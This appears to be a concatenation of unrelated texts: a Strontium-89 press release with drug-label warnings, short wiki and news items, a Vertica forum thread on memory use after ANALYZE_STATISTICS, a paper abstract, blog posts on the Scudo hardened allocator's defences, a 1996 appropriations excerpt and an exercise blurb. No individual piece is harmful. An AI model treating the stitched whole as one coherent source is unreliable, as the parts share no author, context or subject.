Q Biomed Inc. Announces FDA Filing for Approval of a New Manufacturing Facility for Non-Opioid Strontium Chloride SR89 Injection USP for Relief of Cancer Bone Pain
NEW YORK, March 16, 2018 /PRNewswire/ --
Q BioMed Inc. (OTCQB: QBIO), a commercial stage biotechnology acceleration development company, and Bio-Nucleonics, licensor of Strontium 89 Chloride, announce submission of a regulatory filing to the FDA for the approval of a new manufacturing facility. Upon approval by the FDA, the facility will be permitted to manufacture Strontium Chloride Sr89 Injection USP (Strontium-89) in accordance with cGMP.
Strontium-89 is a non-opioid injectable radiopharmaceutical to relieve cancer bone pain in patients with painful skeletal metastases. In the body, strontium acts similar to calcium, selectively localizing in bone and is preferentially taken up in osteoblastic lesions. The unabsorbed isotope clears rapidly from the blood and is excreted in the urine the first 2 to 3 days following injection. Uptake of Strontium-89 occurs preferentially in sites of active osteogenesis; thus bone tumors and areas of metastatic involvement (blastic lesions) can accumulate significantly greater concentrations of Strontium-89 than surrounding normal bone.
Strontium-89 is a pure beta emitter, and selectively irradiates sites of primary and metastatic bone involvement with minimal irradiation of soft tissues distant from bone lesions. The presence of bone metastases should be confirmed prior to therapy. When blastic osseous metastases are present, significantly enhanced localization of the radiopharmaceutical will occur with corresponding higher doses to the metastases compared with normal bones and other organs. Although responses can vary, pain relief typically begins 7 to 20 days after injection and lasts for four months or more.
Please visit www.strontium89.com for more information.
About Q BioMed Inc.
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About Strontium Chloride Sr89 Injection USP
INDICATIONS AND USAGE: Strontium Chloride Sr-89 Injection USP, is indicated for the relief of bone pain in patients with painful skeletal metastases. The presence of bone metastases should be confirmed prior to therapy.
CONTRAINDICATIONS: None known.
WARNINGS: Use of Strontium Chloride Sr89 Injection USP in patients with evidence of seriously compromised bone marrow from previous therapy or disease infiltration is not recommended unless the potential benefit of the treatment outweighs its risks. Bone marrow toxicity is to be expected following the administration of Strontium Chloride Sr89 Injection USP, particularly white blood cells and platelets. The extent of toxicity is variable. It is recommended that the patient's peripheral blood cell counts be monitored at least once every other week. Typically, platelets will be depressed by about 30% compared to pre-administration levels. The nadir of platelet depression in most patients is found between 12 and 16 weeks following administration of Strontium Chloride Sr89 Injection USP. White blood cells are usually depressed to a varying extent compared to pre-administration levels. Thereafter, recovery occurs slowly, typically reaching pre-administration levels six months after treatment unless the patient's disease or additional therapy intervenes. In considering repeat administration of Strontium Chloride Sr89 Injection USP, the patient's hematologic response to the initial dose, current platelet level and other evidence of marrow depletion should be carefully evaluated. Verification of dose and patient identification is necessary prior to administration because Strontium Chloride Sr89 Injection USP delivers a relatively high dose of radioactivity.
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Clive Lawrence
Alfred Clive Lawrence, CBE (October 1876 – 13 March 1926), commonly known by his middle name, was a British barrister, who was HM Procurator General and Treasury Solicitor from 1923 until his death in 1926.
Career
Lawrence was born in October 1876, the eldest son of Sir Alfred Tristram Lawrence and his wife Jessie Elizabeth, daughter of George Lawrence; when Alfred Lawrence became Lord Chief Justice of England and Wales in 1921 he was created Baron Trevethin, and Clive Lawrence was thereafter styled the Honourable; he was also heir to the peerage. Educated at Haileybury and Imperial Service College, Lawrence went up to Trinity Hall, Cambridge, and captained the university's golf club. Called to the bar in 1902, he practised on the South Wales Circuit. During the First World War, he directed the Intelligence Branch of the Procurator-General's Department (now the Government Legal Department), and became a Junior Counsel to the Ministry of Labour in 1919, and then its solicitor that August. Then, in 1923, he was appointed HM Procurator General and Treasury Solicitor, succeeding Sir John Mellor. He served in that post until his death. In recognition of his wartime service, he had been appointed a Commander of the Order of the British Empire in 1918.
Lawrence was taken ill after a meeting of the National Hunt in Cheltenham, where his aunt lived; his condition quickly worsened and he died, on 13 March 1926, aged 49 He left behind a widow, Mildred Margaret, daughter of Rev. Edward Parker Dew of Breamore, and their daughter, Domini Margaret (b. 1925).
Likenesses
* Three photographic portraits in the National Portrait Gallery, London, taken in 1924 by Bassano (reference numbers NPG x122875, NPG x122876, NPG x122877). | WIKI |
Donald Trump's granddaughter goes viral in China
(CNN)She's just five years old but might just be Donald Trump's biggest diplomatic win in China. A video of Trump's granddaughter Arabella Kushner reciting Chinese poetry is being shared across the country. During his bid for the US presidency, Trump had nothing but tough talk for Beijing. But the little girl's command of Mandarin is being interpreted by some as a hidden sign of Trump's affinity with the country. "Trump's craziness and unreliability are just being deceptive," said Weibo user @Ananqiumao in one top rated post. "Look at his children and family, each one is cuter and more adorable than one another. That's the result of family education. Trump is a man of achievement." "Feel like Trump would be more friendly to China," said user @caiairenweimian. In the video, Arabella is wearing a red Chinese style ball gown standing on a table. Other traditional Chinese elements -- the Chinese character for happiness, lanterns and Monkey stickers -- are visible in the background. "Arabella wanted to have a pre-bedtime #ChineseNewYear party this past Sunday evening," Trump's daughter Ivanka wrote in the post earlier this year. "She got all dressed up and performed songs and poems for Jared, Joseph and me." Ivanka told the South China Morning Post magazine four years ago that her daughter was studying Mandarin from a Chinese nanny. She added that she was also learning the language and she could "pretty much name every animal in the zoo." Of course, others cautioned against reading too much into the video. "The little girl's language skill is a result of Ivanka's education, nothing to do with Trump himself," said user @Jason_ZFQ. "Those who fantasize about Trump's friendliness to China give me a break. Of course, his real attitude to China remains to be seen." | NEWS-MULTISOURCE |
ANALYZE_STATISTICS - CPU/memory consumption
Hi,
I have a standalone server on Ubuntu 16.4, Vertica9.2.
Every time when a ANALYZE_STATISTICS is executed, the CPU and memory consumptions have a jump. It seems these resources are not release at the end. As consequence, after few days the vertica server crash due to lack of memory.
I am not sure who is guilty : vertica or ubuntu ?
Did someone face with this behavior ?
Thank you,
Veronica
Comments
• There is system table where are logged the events that force CPU/memory to grow ?
• Jim_KnicelyJim_Knicely - Select Field - Administrator
dbadmin=> \dS *cpu*
List of tables
Schema | Name | Kind | Description | Comment
-----------+-----------+--------+-------------------+---------
v_monitor | cpu_usage | system | CPU usage history |
(1 row)
dbadmin=> \dS *memory*
List of tables
Schema | Name | Kind | Description | Comment
-----------+--------------+--------+----------------------+---------
v_monitor | memory_usage | system | Memory usage history |
(1 row)
• Jim_KnicelyJim_Knicely - Select Field - Administrator
The QUERY_CONSUMPTION table has a ton of great info on a query, including CPU cycles consumed and memory reserved and allocated.
See:
https://www.vertica.com/docs/9.2.x/HTML/Content/Authoring/SQLReferenceManual/SystemTables/MONITOR/QUERY_CONSUMPTION.htm
Unfortunately ANALYZE_STATISTICS commands are not recorded in this table.
• Thank you!
v_monitor.memory_usage is a kind of log/history.
I would like to understand what events/queries force vertica server to allocate memory.
I have, at least once per per every week, a crash due to lack of memory. I need to understand its cause. I started closing processes one by one. It seems that ANALYZE_STATISTICS could be a cause.
• and here is the memory consumption with the process that gathers statistics stopped.
This process collects statistics for a 90 GB table, with 50 as parameter, every 3 h.
• Anyway, thank Jim for your support.
• is there a way to release memory ?
• Jim_KnicelyJim_Knicely - Select Field - Administrator
Can you check if there is memory in use in your resource pools? There should not be any memory in use if the running query count is 0.
select node_name, pool_name, memory_size_kb, memory_size_actual_kb, memory_inuse_kb, general_memory_borrowed_kb, max_memory_size_kb, running_query_count from resource_pool_status where memory_inuse_kb > 0 and running_query_count = 0 and pool_name <> 'sysdata';
• Thank you, Jim!
Again I stopped all processes, included ANALYZE_STATISTICS.
Memory is not released.
select pool_name, memory_size_kb, memory_size_actual_kb, memory_inuse_kb, general_memory_borrowed_kb, max_memory_size_kb, running_query_count
from resource_pool_status;
select * from v_monitor.memory_usage
order by start_time desc;
Any idea?
• Jim_KnicelyJim_Knicely - Select Field - Administrator
edited April 2019
How much memory is the Vertica process using?
Example. Here is an idle node on my cluster:
[dbadmin@s18384357 ~]$ ps ax | grep "[/]opt/vertica/bin/vertica " | awk '{print $1}'
475119
[dbadmin@s18384357 ~]$ pmap 475119 | tail -n 1
total 5118564K
And after a clean restart:
[dbadmin@s18384357 ~]$ admintools -t stop_db -d test_db -F
Info: no password specified, using none
Connecting to database
Issuing shutdown command to database
Database test_db stopped successfully
[dbadmin@s18384357 ~]$ admintools -t start_db -d test_db
Info: no password specified, using none
Starting nodes:
v_test_db_node0001 (74.208.100.58)
Starting Vertica on all nodes. Please wait, databases with a large catalog may take a while to initialize.
Node Status: v_test_db_node0001: (DOWN)
Node Status: v_test_db_node0001: (DOWN)
Node Status: v_test_db_node0001: (DOWN)
Node Status: v_test_db_node0001: (DOWN)
Node Status: v_test_db_node0001: (UP)
Database test_db: Startup Succeeded. All Nodes are UP
[dbadmin@s18384357 ~]$ ps ax | grep "[/]opt/vertica/bin/vertica " | awk '{print $1}'
493879
[dbadmin@s18384357 ~]$ pmap 493879 | tail -n 1
total 3840076K
But as I use more resources, the process will allocate more RAM.
[dbadmin@s18384357 ~]$ vsql -c "SELECT analyze_statistics('', 100);"
analyze_statistics
--------------------
0
(1 row)
[dbadmin@s18384357 ~]$ pmap 493879 | tail -n 1
total 5971048K
This memory is not released. It just remains allocated.
[dbadmin@s18384357 ~]$ vsql -c "create table big_table2 as select * from big_table;"
CREATE TABLE
[dbadmin@s18384357 ~]$ vsql -c "create table big_table3 as select * from big_table;"
CREATE TABLE
[dbadmin@s18384357 ~]$ pmap 493879 | tail -n 1
total 8073324K
[dbadmin@s18384357 ~]$ vsql -c "SELECT analyze_statistics('', 100);"
analyze_statistics
--------------------
0
(1 row)
[dbadmin@s18384357 ~]$ pmap 493879 | tail -n 1
total 8073324K
Vertica will allocate up the MAXMEMORYSIZE of the General Pool.
In my case:
[dbadmin@s18384357 ~]$ vsql -c "SELECT max_memory_size_kb FROM resource_pool_status WHERE pool_name = 'general';"
max_memory_size_kb
--------------------
8963349
(1 row)
• top
• 07:55:27 up 19:23, 2 users, load average: 0.80, 0.88, 1.49
Tasks: 158 total, 1 running, 157 sleeping, 0 stopped, 0 zombie
%Cpu(s): 16.2 us, 2.2 sy, 0.1 ni, 81.5 id, 0.1 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 31398092 total, 1963840 free, 21478656 used, 7955596 buff/cache
KiB Swap: 2097148 total, 1743752 free, 353396 used. 9467712 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2864 dbadmin 20 0 26.573g 0.019t 39856 S 4.0 65.7 1538:53 vertica
1506 dbadmin 20 0 1251452 20712 6032 S 1.0 0.1 113:25.70 python
23 root 20 0 0 0 0 S 0.3 0.0 0:11.51 ksoftirqd/3
5410 ubuntu 20 0 92800 3228 2328 S 0.3 0.0 0:33.38 sshd
1 root 20 0 37728 4728 3012 S 0.0 0.0 0:04.27 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kthreadd
Memory used : 65%
You are right. After restart. the memory is released.
But it isn't a suitable solution because the server is a production one.
• So
• vertica asks for memory from system
• the system allocates it
• vertica runs its processes, but doesn't release the memory back to system
in order to keep the memory under control should be identified the vertica processes that force vertica server to ask for memory from system
thank you
• Jim_KnicelyJim_Knicely - Select Field - Administrator
This shouldn't be an issue if you are following the recommendation:
Deploy Vertica as the only active process on each host—other than Linux processes or software explicitly approved by Vertica. Vertica cannot be colocated with other software. Remove or disable all non-essential applications from cluster hosts.
See:
https://www.vertica.com/docs/9.2.x/HTML/Content/Authoring/InstallationGuide/BeforeYouInstall/platformhardwarereqts.htm
You can allocate less memory to Vertica by lowering the MAXMEMORYSIZE of the General Pool. But I wouldn't recommend that on a production system.
See:
https://www.vertica.com/docs/9.2.x/HTML/Content/Authoring/SQLReferenceManual/Statements/Built-inPoolConfiguration.htm
• https://www.vertica.com/docs/9.2.x/HTML/Content/Authoring/AdministratorsGuide/Statistics/BestPracticesForStatisticsCollection.htm?tocpath=Administrator's Guide|Collecting Database Statistics|_____6
Overhead Considerations
Running ANALYZE_STATISTICS is an efficient but potentially long-running operation. You can run it concurrently with queries and loads in a production environment. However, the function can incur considerable overhead on system resources (CPU and memory), at the expense of queries and load operations. To minimize overhead, run ANALYZE_STATISTICS on individual tables rather than the entire database, or on individual table columns.
• What are the configuration parameters regarding ANALYZE_STATISTICS ?
I found only AnalyzeRowCountInterval. Its default value corresponds to 24h.
i checked with
select statistics_updated_timestampt
from V_CATALOG.PROJECTION_COLUMNS
and statistics_updated_timestamp was 2 days ago.
• mati_kukkmati_kukk Vertica Customer
I battled that memory leak also when runned SELECT Analyze_statistics('') it caused memory leaks (4G day ) then I made script that gets
vsql -t -c "SELECT 'Select now(),'''||table_name ||''',analyze_statistics('''||table_schema ||'.' ||table_name||''');' FROM v_catalog.tables;" -o /home/dbadmin/scripts/tmp/analyze.sql
And you can then run it.
Even better you can split and run in parallel in all your nodes
split -d -l 300 analyze.sql anal
for f in anal??; do mv "$f" $f.sql; done
ls anal??.sql | xargs -n 1 -P 16 -I cmd sh -c 'sleep 1 && /opt/vertica/bin/vsql -C -t -e -f cmd -o /home/dbadmin/maintlog/analyze/A_cmd_.log'>>/home/dbadmin/maintlog/analyze/out_sql.log
It does analyse very fast and no memoryleaks
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Environmental and Engineering Geophysical Society
The Environmental and Engineering Geophysical Society (EEGS) is an international, applied scientific organization (not-for-profit corporation) that has 700 members. One of the society’s major activities is producing its annual meeting, the Application of Geophysics to Engineering and Environmental Problems (SAGEEP). It develops and distributes a peer-reviewed scientific journal, the Journal of Environmental and Engineering Geophysics (JEEG), as well as an electronic quarterly newsletter, FastTIMES. It publishes, markets, and distributes books and CD-ROMs on the application and use of near-surface geophysical technologies, both in print and electronically (EEGS Research Collection, is an online reference featuring the entire collection of the organization’s JEEGs and SAGEEP proceedings).
Mission
* to promote geophysics as applied to environmental and engineering problems,
* to foster scientific interests of geophysicists and their colleagues in other related sciences and engineering,
* to set a high professional standard for its members, and
* to promote fellowship and cooperation among persons interested in the science.
History
EEGS was founded in 1992 and is incorporated in the State of Colorado as a not-for-profit corporation and has approximately 700 international members. There are student chapters in North America and Canada. In addition, EEGS maintains ties with the near-surface geophysics section (formerly EEGS-European Section) of the European Association of Geoscientists and Engineers, the Near-Surface Geophysics Section of the Society of Exploration Geophysicists, the Near-Surface Focus Group of the American Geophysical Union, and formal affiliated society agreements with several international professional societies.
SAGEEP
The annual meeting of the organization, known as the Symposium on the Application of Geophysics to Environmental and Engineering Problems (SAGEEP), is held in the late winter or early spring and provides geophysicists, engineers, geoscientists and end-users from around the world an opportunity to discuss near-surface applications of geophysics and learn about developments in near-surface geophysics.
Since 1988 at the Colorado School of Mines, the symposium has been held over a five-day period at locations throughout the United States, with 150 oral and poster presentations, educational workshops, vendor presentations, and a commercial exhibition. A set of proceedings, comprising technical papers presented at the conference, is available online at EEGS’ Research Collection site.
EEGU
Environmental and Engineering Geophysical University (EEGU) is held over three days in parallel with the regular SAGEEP technical sessions. EEGU introduces nontraditional geophysical conference attendees (regulators, environmental program managers, consultants, and students who are new to near-surface geophysics) to incorporating geophysical approaches into characterization or remediation programs or to evaluating the suitability of geophysical methods for general classes of environmental or engineering problems. Sessions are led by experts in the application of seismic, electrical, gravity, magnetics, and ground-penetrating radar methods.
Journal of Environmental & Engineering Geophysics
A peer-reviewed journal, Journal of Environmental and Engineering Geophysics (JEEG), is published quarterly and distributed via mail to the EEGS membership and academic libraries. It is available online as part of EEGS’ Research Collection. Articles from recent issues (2005 forward) are available online to members of subscribing institutions through GeoScienceWorld (www.geoscienceworld.org).
FastTIMES
An electronic newsmagazine, FastTIMES, is also produced quarterly and is distributed via email and as a downloadable file through the society's web page.
EEGS/Geonics Early Career Award
The EEGS/Geonics Early Career Award acknowledges academic excellence and encourages research in near-surface geophysics. The award is presented to a full-time university faculty member who is within ten years post-completion of his or her Ph.D. The award acknowledges significant and ongoing contributions to the discipline of environmental and engineering geophysics.
EEGS/NSGS Frank Frischknecht Award
The joint EEGS/NSGS Frank Frischknecht Award was established to recognize extraordinary leadership in advancing the cause of near surface geophysics through long-term support of the near-surface geophysics community. Such leadership is often boldly displayed by an invention, a new methodology or technique, a theoretical or conceptual advancement, or an innovation that transforms the nature and capabilities of near-surface geophysics. | WIKI |
Wikipedia:Articles for deletion/Holistic Information Security Practitioner (2nd nomination)
The result was delete. Barkeep49 (talk) 02:14, 17 July 2020 (UTC)
Holistic Information Security Practitioner
AfDs for this article:
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Alright, enough is enough. Despite never having any sources, this article survived an AfD twelve years ago. There are no reliable sources providing this fuzzy certification the "substantial coverage" to the subject the GNG requires (indeed, there are only four G-news hits even namedropping it). Text reads like a copyvio off of a brochure, and remains unsourced to this day. Of the three keep proponents in the prior AfD, two -- including the article creator, who claimed to hold the certification himself -- opined that "it exists" was a valid ground to keep, and the third set forth only "Keep but move and add refs" without any ground to keep. Even in 2008, this was a garbage close. Ravenswing 20:48, 9 July 2020 (UTC)
* Note: This discussion has been included in the list of Education-related deletion discussions. Megan Barris (Lets talk📧) 21:14, 9 July 2020 (UTC)
* Note: This discussion has been included in the list of Computing-related deletion discussions. Megan Barris (Lets talk📧) 21:14, 9 July 2020 (UTC)
* delete I'm sure it's real, but it seems that hardly anyone cares about it considering the minuscule number of legit GBook hits I get. Mangoe (talk) 22:56, 9 July 2020 (UTC)
* delete Original page author here. I'm not sure how relevant HISP is anymore. It was widely discussed back in 2008 when the page was created, but even the HISP website shows stuff "coming in 2018" so doesn't seem to really be maintained. -- marius strom 02:49, 10 July 2020 (UTC)
* Delete per WP:V - I was a "keeper" 12 years ago, but we have gotten a lot stricter since. Bearian (talk) 00:57, 17 July 2020 (UTC)
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Atypical variants in COL1A1 and COL3A1 associated with classical and vascular Ehlers-Danlos syndrome overlap phenotypes: expanding the clinical phenotype based on additional case reports.
Abstract
The vast majority of reported (likely) pathogenic missense variants in the genes coding for the fibrillar collagens leads to the substitution of one of the obligatory glycine residues in the Gly-Xaa-Yaa repeat sequence of the triple helical domain. Their phenotypic consequences and deleterious effects have been well-documented. However, with increasing access to molecular diagnostic testing based on next-generation sequencing techniques, such as sequencing of multi-gene panels and whole-exome sequencing, non-glycine substitutions are more frequently identified in individuals suspected to have a heritable collagen disorder, but their pathogenic effect is often difficult to predict.Some specific non-glycine substitutions in the proα1(I)- (p.(Arg312Cys)) and proα1(III)- (glutamic acid to lysine at different positions) collagen chain have been identified in a number of individuals presenting a phenotype showing features of both classical and vascular Ehlers-Danlos syndrome. The number of reported individuals with these defects is currently very low, and several of these non-glycine substitutions had initially been categorised as variants of unknown significance (VUS), complicating early diagnosis, accurate counselling, management guidelines, and correct classification. This collaborative study reports on the phenotype of 22 and 7 individuals harbouring these rare variants in COL1A1 and COL3A1, respectively, expanding our knowledge on clinical presentation, phenotypic variability, and natural history, and informing on the risk for potentially life-threatening events, such as vascular, gastro-intestinal, and pregnancy-related complications.
Overview publication
TitleAtypical variants in COL1A1 and COL3A1 associated with classical and vascular Ehlers-Danlos syndrome overlap phenotypes: expanding the clinical phenotype based on additional case reports.
Date2022-05-01
Issue nameClinical and experimental rheumatology
Issue numberv40 Suppl 134.5:46-62
DOI10.55563/clinexprheumatol/kzkq6y
PubMed35587586
AuthorsColman M, Castori M, Micale L, Ritelli M, Colombi M, Ghali N, Van Dijk F, Marsili L, Weeks A, Vandersteen A, Rideout A, Legrand A, Frank M, Mirault T, Ferraris A, Di Giosaffatte N, Grammatico P, Grunert J, Frank C, Symoens S, Syx D & Malfait F
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Tuesday, May 14, 2019
High level overview of Scudo
With this post, I am going to go through some high level details about the architecture of the allocator and some of the security features offered. Some notions will be skimmed through, with the hopes of being covered in detail in a later post (based on my free time).
Scudo is made up of the following components:
• a "primary" allocator: this is a fast allocator, servicing smaller sized requests (configurable at compile time). It is "segregated", eg: chunks of the same size end up in the same memory region, that is compartmentalized from other regions (the separation is stronger on 64-bit, where a memory area is specifically reserved for the primary regions); chunks allocated by the primary are randomized to avoid predictable address sequences (note that the larger the size, the more predictable the addresses are to each other). A couple of side effects to this design, is that there is no such thing as coalescing contiguous blocks, and that the memory used by the primary is never unmapped - but it can be reclaimed. While we are trying to focus on 64-bit, there is a 32-bit primary, mostly due to Android;
• a "secondary" allocator: which wraps the platform memory allocation primitives, and as such is slower and used to service larger sized allocations. Allocations fulfilled by the secondary are surrounded by guard pages;
• local caches: those are thread specific stashes, holding pointers to free blocks in order to relieve contention over the global free-list. There are two models: exclusive and shared. With the exclusive model, there is a unique cache per thread, which is more memory hungry but mostly free of contention. With the shared model, threads share a set number of caches, that can be dynamically reassigned at runtime based on contention - this uses less memory than the exclusive model and usually fits better the needs of end user platforms.
• a "quarantine": which can be equated to a heap wide delayed free-list, holding recently freed blocks for a time until a criteria is met (usually, a certain size is reached), before returning them to the primary or secondary for reuse. There is a thread-specific quarantine, and a global quarantine to avoid as much as possible global locking. This is the most impactful in terms of memory usage and to some extent performances: even smaller sized quarantines will have a large impact on a process RSS, and it effectively kills locality, making any sort of memory cache less useful. As such, it is disabled by default, and can be enabled on a per-process basis (and sized according to the process needs).
Now for some security "features":
• strong sizes and alignment requirements: we enforce maximum sizes and alignment values, but also check that pointers provided are properly aligned; those are cheap checks to avoid integer overflows and catch low hanging deallocation errors (or abuse);
• each chunk is preceded by a header, that stores basic information about the allocation, and is checksummed to be able to detect corruption.
While the debate in-band vs out-of-band metadata divides people, the choice for an in-band header was made to be able to detect linear {over,under}flows (at least until we get memory tagging).
The checksum of the header involves a global secret, the pointer being dealt with, and the content of the header - it is not meant to be cryptographically strong. As for the data stored in the header, it holds the size of the allocation, the state of the chunk (available, allocated, quarantined), its origin (malloc, new, new[]) and some internal data. Headers are manipulated atomically to detect race attempts between threads operating on the same chunk.
As is usually the case with this type of mitigation, inconsistencies are only detected when the header is checked, which usually means that a heap operation has to occur on the chunk in question.
Overall, this allows for several security checks:
• ensure that a pointer being deallocated actually points to a chunk, otherwise the checksum verification will fail. Some other allocators gladly accept a pointer pointing to the middle of a chunk for deallocation, we do not;
• ensure that the state of a chunk is consistent with the operation being carried out. This allows for detection of double-frees and the like;
• ensure that a sized-deallocation is valid for the targeted chunk, which allowed to find an Intel C Compiler bug, and prevents related abuse;
• ensure that the deallocation function is consistent with the allocation function that returned the targeted chunk (eg: free/malloc, delete/new);
• we randomize everything we can, to reduce predictability as much as possible; one of the side benefits of the thread caches is that they can make it more difficult for an attacker to get the chunks they want in the state they need, if they leverage allocation primitives in different threads;
• guard pages are added when deemed useful;
• we do not store pointers in free chunks, or anything really. Our arrays of free pointers (what we call transfer batches) are located in separate memory region;
• the quarantine helps mitigate use-after-free to some extent, making it harder for an attacker to reuse a deallocated chunk. This mitigation only goes so far, as a chunk will end up being reused at some point in time (unless you have unlimited memory);
• the non-standalone version of Scudo also offers the possibility to set an RSS limit, which results in the allocator returning null pointers if said soft limit is exceeded (or aborting if a hard limit is set); this allows to quickly check the resilience of an application to OOM conditions - I still have to add that feature to the standalone version.
Friday, May 10, 2019
What is the Scudo hardened allocator?
I am going to make a small series of posts about the Scudo hardened allocator, starting with some general considerations then getting into technical details.
Scudo is a user-mode allocator which aims at providing additional mitigation against heap based vulnerabilities, while maintaining good performance. It’s open-source, part of LLVM’s compiler-rt project, and external contributions are welcome.
Scudo is currently the default allocator in Fuchsia, is enabled in some components in Android, and is used in some Google production services. While it was initially implemented on top of some of sanitizer_common’s components, it is being rewritten to be standalone, without dependencies to other compiler-rt parts, for easier use (and additional performance and security benefits).
Why another allocator?
The journey started a few years ago while exploring the landscape of usermode allocators on Linux. It is no secret that Google uses tcmalloc, and in all honesty, the internal version is blowing everything else away. By a lot. But as it was noted by my esteemed former-colleagues Sean and Agustin, its resilience to abuse is ... lackluster, to say the least.
To understand our options, let’s have a look at a somewhat typical benchmark for production services at Google, involving a lot of asynchronous threading, protobufs, RPCs and other goodies, all of that running on a 72 core Xeon machine with 512GB of RAM (this is not meant to be the most rigorous of comparison, but give you an idea of what’s up). The first metric is the number of Queries Per Second, the second is the peak RSS of the program (as reported by /usr/bin/time).
Allocator
QPS (higher is better)
Max RSS (lower is better)
tcmalloc (internal)
410K
357MB
356K
1359MB
dlmalloc (glibc)
295K
333MB
142K
710MB
24K
393MB
18K
458MB
FATALERROR**
SIGSEGV***
scudo (standalone)
400K
318MB
* hardened_malloc is mostly targeting Android, and only supports up to 4 arenas currently so the comparison is not as relevant as it strongly impacts concurrency. Increasing that number yields to mmap() failures.
** Guarder only supports up to 128 threads per default, increasing that number results in mmap() failures. Limiting the number of threads is the only way I found to make it work, but then the results are not comparable to the others.
*** I really have no idea how real world payloads ever worked with those two.
tcmalloc & jemalloc are fast, but not resilient against heap based vulnerabilities. dlmalloc is, well, sometimes more secure than others, but not as fast. The secure allocators are underperforming, when working at all. I am not going to lie, some benchmarks are less favorable to Scudo, some others more, but this one is representative of one of our target use cases.
The idea of Scudo is to fall in the category of “as fast as possible while being resilient against heap based bugs”. Scudo is not the most secure allocator, but it will (hopefully) make exploitation harder, with a variety of configurable options that allow for increased security (but that comes with a cost in performance and memory footprint, like the Quarantine). It is also meant to be a good working ground for future mitigation (such a memory tagging, or GWP-ASan).
Origins
While various options for improving existing allocators were considered, a meeting with Kostya Serebryany lead to the plan of record: building upon the existing sanitizer_common allocator to create a usermode allocator that would be part of LLVM’s compiler-rt project.
The original sanitizer allocator, which is used as a base for the ones of ASan, TSan, LSan, was originally written by Kostya and Dmitry Vyukov, and featured some pretty neat tricks that made it fast, and extensible.
A decent amount of things had to be changed (things were allocated from a fixed base address, in a predictable fashion, overall memory consumption was on higher side, etc). The original version targeted Linux only, and then support came for other Google platforms, Android first, and then Fuchsia.
Aleksey Shlyapnikov did some work to make Scudo work on Solaris with SPARC ADI for some memory tagging research, but that work was never upstreamed. I will probably revisit that at some point. As for other platforms, they will be up to the community.
Fuchsia decided to adopt Scudo as their default libc allocator, which required rewriting the code to remove dependencies to sanitizer_common - and we are reaching the final stages of the upstreaming process.
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I find this absolutely unfair, wikipedia will use images from the morguefile.com for their articles and have an article about a similar site called stock.xchnge but deletes my article- for morgue file even though it is a legitimate term. This is completely unacceptable, if an article about morguefile is not good enough for wikipedia than neither should its content- if this article is deleted please remove all material from wikicommons immediately. —Preceding unsigned comment added by <IP_ADDRESS> (talk) 5 April 2006
Miscellaneous edits
Changing the article to add more information about the site, especially the MorgueFile Free License. Also removed the paragraph about Doug Wiley which more appropriately belongs on the Morgue File page, where it already resides. Not sure, but perhaps there needs to be a disambiguation page? Cielbie (talk) 10:46, 16 July 2012 (UTC)
MorgueFile Free License
Something should be said about the compatibility of this license as it relates to Creative Commons licensing. I think that it is not compatible because it says, "You are prohibited from using this work in a stand alone manner." I do not know what that means, but it sounds like a non-free license and something which ought not be in Wikimedia Commons. Blue Rasberry (talk) 14:06, 9 April 2013 (UTC)
That is a good point about how it compares to the Creative Commons licensing, but maybe that distinction doesn't belong in this article. From the licensing page of the morguefile website: "Stand alone basis - You can not sell, license, sublicense, rent, transfer or distribute this image exactly as it is without alteration." Cielbie (talk) 18:31, 7 May 2013 (UTC)
Or, on second thought, maybe the distinction does need to be made. Cielbie (talk) 18:33, 7 May 2013 (UTC) | WIKI |
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PUBLIC LAW 104-208—SEPT. 30, 1996 110 STAT. 3009-322 Counseling for the Elderly Program, and of which not to exceed $25,000 shall be for official reception and representation expenses. TAX LAW ENFORCEMENT For necessary expenses of the Internal Revenue Service for determining and establishing tax liabilities; tax and enforcement litigation; technical rulings; examining employee plans and exempt organizations; investigation and enforcement activities; securing unfiled tax returns; collecting unpaid accounts; statistics of income and compliance research; the purchase (for police-type use, not to exceed 850), and hire of passenger motor vehicles (31 U.S.C. 1343(b)); and services as authorized by 5 U.S.C. 3109, at such rates as may be determined by the Commissioner $4,104,211,000, of which not to exceed $1,000,000 shall remain available until September 30, 1999, for research. INFORMATION SYSTEMS For necessary expenses for data processing and telecommunications support for Internal Revenue Service activities, including tax systems modernization and operational information systems; the hire of passenger motor vehicles (31 U.S.C. 1343(b)); and services as authorized by 5 U.S.C. 3109, at such rates as may be determined by the Commissioner, $1,323,075,000, of which no less than $130,075,000 shall be available for Tax Systems Modernization (TSM) development and deployment which shall be available until September 30, 1999, and of which no less than $206,200,000 shall be available for TSM Operational Systems: Provided, That none of the funds made available for TSM Operational Systems shall be available after July 31, 1997, unless the Department of the Treasury has prepared a Request for Proposal which could be used as a base for a solicitation of a contract with an alternative or new Prime Contractor to manage, integrate, test and implement the TSM program: Provided further, That all activities associated with the development of a request for proposal, contract solicitation, and contract award for private sector assistance on TSM (both operational systems and development and deployment systems), beyond private sector assistance which is currently under contract, shall be conducted by the Department of the Treasury's Modernization Management Board: Provided further, That if the Internal Revenue Service determines that it is unable to meet deadlines established herein, the Secretary of the Treasury shall notify the Committees on Appropriations of the House and the Senate of the delay Provided further. That the Internal Revenue Service shall submit, by February 1, 1997, a timetable for implementing, by October 1, 1997, recommendations made by the General Accounting Office in its July 1995 report, entitled: "Tax Systems Modernization: Management and Technical Weaknesses Must Be Corrected If Modernization Is To Succeed": Provided further. That the Internal Revenue Service shall submit, by December 1, 1996, a schedule to transfer, not later than July 31, 1997, a majority of Tax Systems Modernization development, deployment, management, integration, and testing, from the Internal Revenue Service to the private sector.
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The Magic Cure to Ageing
Longevity Exercise Physiology Drummoyne,Edgecliff,Marrickville,Bella Vista, Randwick, Lindfield and Balmain today discuss the important role exercise plays in an ageing population
We are all looking for that mystery product or activity that reverses the signs of ageing. We are constantly inundated with advertising for mystery products that claim to cure all your ailments and promise eternal youth. I am here to tell you that you need look no further, we already have the answer, exercise!
As we get older, we know we are prone to sarcopenia (loss of muscle mass,) decrease in bone mineral density and increase risk of developing dementia, osteoarthritis, heart disease, diabetes, and cancer. Regular physical activity work wonders for reducing our risk of developing and managing these conditions. So, its time to stop searching for that mystery magic cream that claims to cure all your aches and pains and hit the gym instead!
